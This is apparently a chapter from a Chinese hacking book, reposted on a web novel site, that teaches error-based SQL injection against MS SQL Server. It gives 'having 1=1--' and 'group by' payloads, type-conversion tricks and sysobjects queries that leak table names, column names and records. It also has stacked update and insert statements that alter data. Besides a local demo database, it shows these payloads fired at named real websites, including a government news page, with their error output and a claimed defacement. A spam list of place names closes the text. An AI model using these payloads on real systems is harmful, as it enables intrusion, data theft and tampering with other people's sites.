官术网_书友最值得收藏!

2.6 為MS SQL帶來災難的高級查詢

在上面,我們以實例向大家詳細分析介紹了手工與工具注入Access數據庫,登錄后管理頁面,上傳后門木馬的完整過程。在上面的例子中注入的是Access數據庫,讀者可能會發現手工猜解用戶名和密碼是非常麻煩的,使用“WED+WIS”或“NBSI”之類的自動注入工具,才是比較明智的選擇。

其實對于Access來說,由于其SQL查詢功能非常弱,因此只能用猜解辦法;但是對于SQL Server或MySQL之類的數據庫來說,攻擊者完全可以利用一些特別的SQL查詢語句報出其表名與字段名,并完成強大的系統控制功能。

在本節中,將詳細介紹ASP+SQL Server環境下的SQL注入攻擊。讀者在學習時,注意與Access數據庫注入攻擊之間的不同之處。

MS SQL的功能遠比Access數據庫強大得多,它支持多句執行、聯合查詢,以及各種高級查詢功能。但是,正由于MS SQL的強大功能,給MS SQL服務器的安全帶來了極大的威脅。一旦攻擊者有機會利用SQL注入攻擊MS SQL數據庫,那么攻擊者可以很輕易地就獲取MS SQL數據庫中的所有記錄內容,進而控制數據庫服務器。

在本節中,我們將詳細分析MS SQL的一些高級查詢功能,以及由此帶來的SQL注入攻擊的原理和方法。

2.6.1 建立MS SQL數據庫進行攻擊演示

在進行MS SQL數據庫注入攻擊前,需要搭建一個目標數據庫,作為攻擊原理分析及演示。

在前面我們已經介紹了如何安裝MS SQL服務器,以及啟動SQL服務器及執行SQL查詢的方法。按照前面的方法,啟動MS SQL服務器,打開SQL查詢分析器,在中間的SQL語句窗口中輸入如下語句:

            CREATE DATABASE 成績
            use 成績

執行語句后,即可建立一個名為“成績”的數據庫,并將選擇當前數據庫為新建的“成績”(圖109)。

圖109 新建MS SQL數據庫

單擊上方工具欄下拉列表按鈕,在其中可以選擇剛才新建的“成績”數據庫為操作對象(圖110)。再執行如下語句,即可建立兩個數據表:“1班成績”和“2班成績”:

圖110 新建數據表及字段

            CREATE TABLE [1班成績] (
            [姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL ,
            [成績] [numeric](18, 0) NULL,
            [性別] [NVARCHAR](1)
            ) ON [PRIMARY]
            CREATE TABLE [2班成績] (
            [姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL,
            [成績] [numeric](18, 0) NULL,
                [性別] [NVARCHAR](1)
            ) ON [PRIMARY]

在新建的“1班成績”和“2班成績”表中,有3個字段“姓名”、“成績”和“性別”。單擊工具欄“對象瀏覽器”按鈕,可查看到新建的數據庫及表、字段名(圖111)。

圖111 建立數據表成功

現在要為字段添加數據,執行如下語句(圖112):

            INSERT INTO [1班成績]
            VALUES(’冰河洗劍’, 98, ’男’)
            INSERT INTO [1班成績]
            VALUES(’會飛的魚’, 99, ’女’)
            INSERT INTO [1班成績]
            VALUES(’朱澤明’, 94, ’男’)
            INSERT INTO [1班成績]
            VALUES(’盧麗婭’, 97, ’女’)

圖112 添加數據記錄

即可為“1班成績”表添加4條數據記錄。執行如下語句:

            INSERT INTO [2班成績]
            VALUES(’肖遙’, 98, ’男’)
            INSERT INTO [2班成績]
            VALUES(’張黎’, 99, ’女’)
            INSERT INTO [2班成績]
            VALUES(’夏雨’, 94, ’男’)
            INSERT INTO [2班成績]
            VALUES(’簡單’, 97, ’女’)

可為“2班成績”表添加4條數據記錄。如何才能查看到新建數據庫及表中的數據呢?執行如下語句:

            select * from [1班成績] union select * from [2班成績]

即可查看顯示所有數據信息了(圖113)。

圖113 查看新建的數據庫所有記錄信息

2.6.2 有趣的MS SQL出錯信息

用于演示的數據庫及表建立成功了,現在我們在查詢窗口中執行如下一條SQL語句:

            select * from [1班成績]

圖114 正常查詢返回信息

可以看到顯示了數據表“1班成績”中的所有記錄,SQL語句是正常執行并返回信息的(圖115)。現在,我們在SQL語句后面加上“having 1=1—”,執行查詢語句:

            select * from [1班成績] having 1=1--

由于SQL查詢語句有問題,不符合正確的SQL語句規范,因此返回了錯誤信息為:

            服務器: 消息 8118,級別 16,狀態 1,行 1
            列 ’1班成績.姓名’ 在選擇列表中無效,因為該列未包含在聚合函數中,并且沒有
             GROUP BY 子句。
            服務器: 消息 8118,級別 16,狀態 1,行 1
            列 ’1班成績.成績’ 在選擇列表中無效,因為該列未包含在聚合函數中,并且沒有
             GROUP BY 子句。
            服務器: 消息 8118,級別 16,狀態 1,行 1
            列 ’1班成績.性別’ 在選擇列表中無效,因為該列未包含在聚合函數中,并且沒有
             GROUP BY 子句。

圖115 返回的查詢錯誤信息

可以看到查詢錯誤很詳細,將錯誤的原因也反饋給用戶了。細心的讀者將會發現,在返回的信息中顯示有“列 ’1班成績.姓名’”、“列 ’1班成績.性別’”和“列'1班成績.成績’”。這正是當前用戶表及表中的字段名信息。

也就是說,普通用戶通過MS SQL返回的錯誤信息,從中可以獲知數據庫的一些信息。同樣,攻擊者可以精心構造“特殊”的SQL查詢語句,讓MS SQL返回錯誤信息,從而非法獲取數據庫中的關鍵數據記錄信息。這就是針對MS SQL數據庫的注入攻擊原理。

2.6.3 SQL高級查詢之Group By和Having

在上面的SQL查詢語句中,添加了一個“having 1=1--”的查詢條件,為什么這個查詢條件會執行出錯,并返回字段名信息呢?從返回的錯誤信息中還可以看到,Having與一個“GROUP BY子句”有關,兩者之間有什么聯系呢?

下面就詳細講解一下利用Group By和Having進行MS SQL注入攻擊的原理。

1.SQL查詢中的聚合函數

在介紹Group By和Having子句前,我們先介紹一下SQL語言中一類特殊的函數:“聚合函數”,如SUM、COUNT、MAX、AVG等。“聚合函數”與其他普通函數的區別在于,此類函數作用于多條記錄上,進行統計或選擇最大、最小值,以及平均計算等。

例如,下面的語句執行結果就是查詢只返回一個結果,即所有學生的總成績分數:

            SELECT SUM(成績) FROM [1班成績]

這里的SUM作用在所有返回記錄的“成績”字段上,查詢返回的結果就是表中所有“成績”記錄的總成績之和(圖116)。

圖116 統計總成績

通過使用Group By子句,可以讓SUM和COUNT等聚合函數對屬于一組的數據起作用。當指定“GROUP BY性別”時,屬于同一“性別”的一組數據將只能返回一行值。也就是說,表中所有除“性別”外的字段,只能通過SUM、COUNT等聚合函數運算后返回一個值。

首先,我們來顯示男生和女生的總分數(圖117):

            SELECT 性別,SUM(成績) as 總成績
            FROM [1班成績]
            GROUP BY 性別

圖117 統計男生和女生的總分數

從返回的信息中,可以看到顯示了兩條數據記錄,分別是男生與女生的成績之和。這條SQL語句,先以“性別”把返回記錄分成了兩個組,這就是Group By所起的作用。在分完組后,然后用聚合函數SUM,對每組中的不同字段的一或多條記錄進行運算。

Having子句可以讓我們篩選成組后的各組數據,Where子句在聚合前先篩選記錄.也就是說作用在Group By子句和Having子句前,而Having子句在聚合后對組記錄進行篩選。

例如,要查詢男生和女生的總分數,并僅顯示總分數超過195的記錄(圖118)。先執行如下SQL查詢語句:

            SELECT 性別,SUM(成績) as 總成績
            FROM [1班成績]
            GROUP BY 性別
            where SUM(成績)>195

上面的查詢語句為什么會出錯呢?這是因為表中不存在著“SUM(成績)”這樣一條記錄,因此不能使用Where來篩選總分數超過195的記錄。再嘗試執行如下SQL查詢語句(圖119):

            SELECT 性別,SUM(成績) as 總成績
            FROM [1班成績]
            GROUP BY 性別
            HAVING SUM(成績)>195

圖118 使用where查詢出錯

圖119 Having篩選聚合成組的數據

可看到語句正常執行,返回結果是顯示女生總分數超過了195。從上面的例子可見,只有Having子句,才可以篩選聚合成組后的各組數據。

2.Group By查詢

現在,我們來看看去掉“Group By”語句后的結果,執行如下SQL查詢語句:

            SELECT * FROM [1班成績]
            HAVING SUM(成績)>195

依照上面的原則,這條SQL語句執行錯誤了,返回信息如下:

            服務器: 消息 8118,級別 16,狀態 1,行 1
            列 ’1班成績.姓名’ 在選擇列表中無效,因為該列未包含在聚合函數中,并且沒有
             GROUP BY 子句。
            服務器: 消息 8118,級別 16,狀態 1,行 1
            列 ’1班成績.成績’ 在選擇列表中無效,因為該列未包含在聚合函數中,并且沒有
             GROUP BY 子句。
            服務器: 消息 8118,級別 16,狀態 1,行 1
            列 ’1班成績.性別’ 在選擇列表中無效,因為該列未包含在聚合函數中,并且沒有
             GROUP BY 子句。

可看到,再次返回了當前數據庫中的所有表名及列名(圖120)。也就是說, Having子句之前,必須有“Group By”語句進行數據聚合,否則SQL語句是無法正常執行的。因此,在上一節的示例中,我們提交“having 1=1”時,由于缺少了“Group By”語句,因此也同樣返回了錯誤信息,從而獲得了數據庫表名及列名。

圖120 缺少“Group By”返回錯誤信息

在“Having”之后必須是一個查詢條件,否則語句會出錯,只返回語法錯誤信息(圖121),而不會返回執行錯誤信息,因此無法得到數據庫表名及列名信息。查詢條件可以為任意真或假的條件,如“1=1”、“2>1”等均可。

圖121 Having后接任意查詢條件

2.6.4 報出MS SQL表名和字段名的實例

通過上面對Group By和Having查詢的講解,報出MS SQL數據庫表及字段名的原理已經很清楚了。下面來看一個實例,了解一下攻擊者是如何利用上面的原理進行入侵攻擊的。

這里選擇了一個小地區網站的新聞鏈接:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1

利用單引號法進行檢測,返回錯誤信息為(圖122):

            Microsoft OLE DB Provider for ODBC Drivers 錯誤 ’80040e14'
            [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ’order by
            news_date desc’ 之前有未閉合的引號。
            /news/NewsJyg.asp,行 51

從返回信息可知此處存在著注入漏洞,且網站使用的是MS SQL數據庫。使用上面的方法,在SQL Server注入點處加上“having 1=1--”,提交如下地址:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 having 1=1--

圖122 檢測到SQL注入點

得到返回信息:

            Microsoft OLE DB Provider for ODBC Drivers 錯誤 ’80040e14'
            [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.
            news_id’ 在選擇列表中無效,因為該列未包含在聚合函數中,并且沒有 GR
            OUP BY 子句。
            /news/NewsJyg.asp,行 51

從返回信息中的“y_News.news_id”,可知當前使用的數據表名為“y_news”,有一個字段名為“news_id”(圖123)。

圖123 having查詢返回的信息

在真實的注入攻擊過程中,并不像在SQL查詢分析器中可以直接得到所有表名和字段名,只能得到一個字段名后,繼續猜解其他字段名。要猜解下一個字段名,就需要結合“Group By”語句進行查詢了,可構造查詢語句為“group by news_id having 1=1--”,提交鏈接為:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 group
            by news_id having 1=1--

得到返回的錯誤信息為(圖124):

            [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news
            _type’ 在選擇列表中無效,因為該列既不包含在聚合函數中,也不包含在 GROUP
            BY 子句中。

圖124 報出第二個字段名

從返回信息,可得到另一個字段名“news_type”。繼續猜解當前表中的下一個字段名,構造查詢語句為“group by news_id, news_type having 1=1--”,提交如下鏈接地址:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1  group
            by news_id, news_type having 1=1--

返回信息為(圖125):

            [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news
            _title’ 在選擇列表中無效,因為該列既不包含在聚合函數中,也不包含在 GROUP
             BY 子句中。

圖125 報出第三個字段名

則可再得到一個字段名“news_title”。用同樣的方法提交報出其他的數據字段名,構造的查詢語句格式為:

            group by 第N個表名,……第3個字段名,第2個字段名,第1個字段名  having
            1=1--

一直提交到頁面不再返回錯誤信息,就可以得到所有的字段名了,這里猜解出來的字段名有6個,分別是news_id、news_type、news_title、news_content、news_date和news_depart。

2.6.5 數據記錄也“報”錯

一旦攻擊者報出了數據庫的表名和字段名,就可以讀取數據庫中的任意數據記錄。同樣,攻擊者還是會利用數據庫的返回信息來獲取所需要的數據。

在前面的SQL查詢分析器中,執行如下語句:

            Select Top 1 成績 FROM [1班成績] where 成績=95

語句執行后,可看到查詢結果為空,因為數據庫中不存在“成績=95”的記錄(圖126)。再執行如下SQL查詢語句:

            Select Top 1 成績 FROM [1班成績]
            where 成績=95
            and (select top 1 姓名 from [1班成績])>1

圖126 查詢結果為空

語句的執行結果是出錯,并返回了如下信息:

            服務器: 消息 245,級別 16,狀態 1,行 1
            將 varchar 值 ’冰河洗劍 ’ 轉換為數據類型為 int 的列時發生語法錯誤。

從返回的錯誤信息中,可看到“冰河洗劍”這個敏感的數據,這就是“1班成績”表中“姓名”字段的第一條數據記錄(圖127)。

圖127 報出數據記錄

為什么在執行上面的SQL語句時會出錯呢?這是因為在上面的SQL語句中有一個查詢條件:

            where 成績=95 and (select top 1 姓名 from [1班成績])>1

其中的“(select top 1姓名from [1班成績])>1”是一個錯誤的比較條件。“(select top 1姓名from [1班成績])”返回的是“1班成績”表中“姓名”字段的第一條數據記錄,該記錄的值為“冰河洗劍”(圖128)。

圖128 查詢條件返回的是字符數據

由于該記錄的數據類型為字符(varchar),而比較條件“1”的數據類型為int整數型,因此在進行“’冰河洗劍’>1”比較時,會將“冰河洗劍”進行類型轉換。在將字符轉換為整數時,當然是會出錯的,而MS SQL完善的錯誤信息,也將字符數據的內容報給了攻擊者,因此攻擊者可以輕易地獲得指定的數據記錄內容。

2.6.6 繼續前面的“入侵”

在前面的報出MS SQL表名和字段名的實例中,攻擊者將會繼續下面的入侵步驟,以獲取數據庫中的指定信息。

猜解出的數據表名為“y_news”,字段名有6個:news_id、news_type、news_title、news_content、news_date和news_depart。這里假設攻擊者要獲取“news_title”字段中的第2條記錄,攻擊者將會執行如下的語句:

            http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 and
            (select top 1 news_title from y_news )>1

例如,我們要讀取“skill”表中“title”列中的第N個數據,可提交語句:

            and (Select Top 1 字段 FROM 表 where id=N)>1

其中[N]代表列中的第N條數據。將N改為1的話,則會返回錯誤信息:

            Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07'
            [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 ’
            給賣房人的忠告——出售二手房產權要明晰手續需齊全 ’ 轉換為數據類型為 int
            的列時發生語法錯誤。
            /skill/skill_id.asp,行38

這就說明“Skill”表中“title”列的第一個值為“給賣房人的忠告--出售二手房產權要明晰手續需齊全”。由于這是一個文章系統,因此其在網頁中代表的真實含義為:ID為1的文章其標題為“給賣房人的忠告--出售二手房產權要明晰手續需齊全”。

上面的例子中讀取的只是一篇文章的標題,在實際的應用中,可以讀取包含用戶名和密碼的表中的數據,就可以獲得任意用戶名的密碼了,這種方法比使用ASCII碼一個個地猜解快得多了。

修改數據庫,插入數據

當成功地獲得了表名、字段名,就可以在數據庫里修改甚至插入新的數據,如要更改“skill”表中的第一個數據,可以提交如下命令:

            “ ; update skill set title=’我不是黑客,哈哈!' WHERE id='1' ”

命令運行后正常顯示,在IE地址欄中輸入鏈接“http://www.xinzun.com. cn/skill/skill_id.asp? id=1”,可以看到ID為1的文章其標題已經變成了更改的內容:“我不是黑客,哈哈!”(圖129)

如果要在數據庫中插入一條新的數據,可提交如下語句:

            “ ; insert into skill values ('1000' , ’網站存在安全漏洞’, ’請注意安
            全’, '2004' )--

打開鏈接“http://www.xinzun.com.cn/skill/skill_id.asp? id=1”時,可以看到新添加的文章。

如果是在用戶名表中插入一個新的數據的話,那么也就是說我們在網站中添加了一個新的用戶。同樣,用上面的方法可以任意更改某個用戶名的密碼。

圖129

2.6.7 報出任意表名和字段名

上面的方法只能報出數據庫中的當前表,同時如果某個表中包含的字段名非常多時,用上面的方法就非常困難了。攻擊者有可能使用更加高效的檢測方法,可以報出數據庫中任意表名和字段名。

在上面的注入點后提交如下語句:

            and (Select top 1 name from(Select top [N] id, name from sysobjects
             where xtype=char(85)) T order by id desc)>1

其中“[N]”表示數據庫中的第N個表,當將其改為12時,返回信息為:

            Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07'
            將 nvarchar 值 ’sill’ 轉換為數據類型為 int 的列時發生語法錯誤。
            /skill/skill_id.asp,行13

就可報出數據庫中的第4個表名,說明第4個表名為“skill”。

要獲得某個表中任意字段名,可以提交如下語句:

            and (Select Top 1 col_name(object_id([T]), [N]) from sysobject
            s)>1

其中[T]為表名,[N]表示第N個字段名,當將語句改為:

            and (Select Top 1 col_name(object_id(' skill' ),2) from sysobject
            s)>1

返回信息為:

            "……將 nvarchar 值 ’title’ 轉換為數據類型為 int 的列時發生語法錯
            誤。……”

這表明第4個表中的第二個字段名為“title”。

主站蜘蛛池模板: 娄烦县| 富源县| 龙泉市| 勐海县| 上饶市| 额敏县| 绵竹市| 巴彦淖尔市| 都昌县| 长垣县| 常德市| 辽源市| 利辛县| 华亭县| 读书| 上饶市| 乐山市| 庆阳市| 松溪县| 扎赉特旗| 乌兰浩特市| 西城区| 长垣县| 准格尔旗| 清水县| 贵阳市| 远安县| 张家口市| 古蔺县| 武威市| 浑源县| 巴南区| 凤阳县| 安岳县| 普洱| 永和县| 湘西| 神池县| 凌海市| 邮箱| 景泰县|